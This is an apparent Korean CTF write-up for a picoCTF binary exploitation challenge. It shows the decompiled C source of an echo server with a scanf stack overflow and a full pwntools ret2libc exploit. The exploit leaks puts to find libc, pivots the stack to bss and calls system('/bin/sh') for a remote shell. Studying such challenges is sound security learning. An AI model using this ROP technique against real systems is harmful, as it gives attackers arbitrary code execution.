배웠던 것들을 복습할 수 있었던 좋은 문제인것 같다.
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
/**
* 0x61 ~ 0x7a
* odd : 0x61 ~ 0x7a;
* even : 0x41 ~ 0x7a;
*
* 0x41 ~ 0x5a
* odd : 0x61 ~ 0x7a;
* even : 0x41 ~ 0x7a;
*
* else
* same;
*
* odd : lowercase
* even : uppercase
*/
char convert_case(char ch, long long idx)
{
if (ch > 0x60 && ch <= 0x7a) {
if ((idx & 1) != 0) //odd
return ch;
return (ch - 0x20); //even
}
if (ch > 0x40 && ch <= 0x5a) {
if ((idx & 1) != 0) //odd
return (ch + 0x20);
return ch; //even
}
return ch;
}
void do_stuff()
{
long long i;
long long j;
char buf[0x70];
j = 0;
scanf("%[^\n]", buf);
scanf("%c", buf - 1);
i = 0;
while (i <= 0x63) {
buf[i] = convert_case(buf[i], i);
++i;
}
puts(buf);
}
int main(int argc, char *argv[])
{
long long index;
gid_t gid;
long long n;
long long j;
char *v2;
setbuf(stdout, NULL);
gid = getegid();
setresgid(gid, gid, gid);
n = 0x1b;
char buf[0x20] = "welcome to my echo server!";
char buf2[0x20];
j = n - 1;
v2 = buf2;
index = 0;
while (index < n) {
v2[index] = convert_case(buf[index], index);
++index;
}
puts(v2);
while (1)
do_stuff();
}
convert_case
do_stuff
scanf("%[^\n]", buf);
scanf("%c", buf - 1);
scanf("%[^\n]", buf);
요 부분.from pwn import *
r = remote("mercury.picoctf.net", 1774)
#r = process("./vuln")
libc = ELF("../libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bss = 0x601000 + 0x800
scanf_arg = 0x400934
scanf_got = 0x601038
scanf_plt = 0x400580
puts_got = 0x601018
puts_plt = 0x400540
pop_rdi = 0x400913
pop_rsi_r15 = 0x400911
leave_ret = 0x40076f
ret = 0x40052e
stack_payload = b"A" * 0x80
stack_payload += p64(bss)
stack_payload += p64(pop_rdi) + p64(puts_got)
stack_payload += p64(puts_plt)
stack_payload += p64(ret)
stack_payload += p64(pop_rdi) + p64(scanf_arg)
stack_payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
stack_payload += p64(scanf_plt)
stack_payload += p64(leave_ret)
r.sendlineafter(b"R!\n", stack_payload)
r.recvline()
libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
print("libc_base:", hex(libc_base))
print("system_addr:", hex(system_addr))
bss_payload = b"/bin/sh\x00"
bss_payload += p64(ret)
bss_payload += p64(pop_rdi) + p64(bss)
bss_payload += p64(system_addr)
r.sendline(bss_payload)
r.interactive()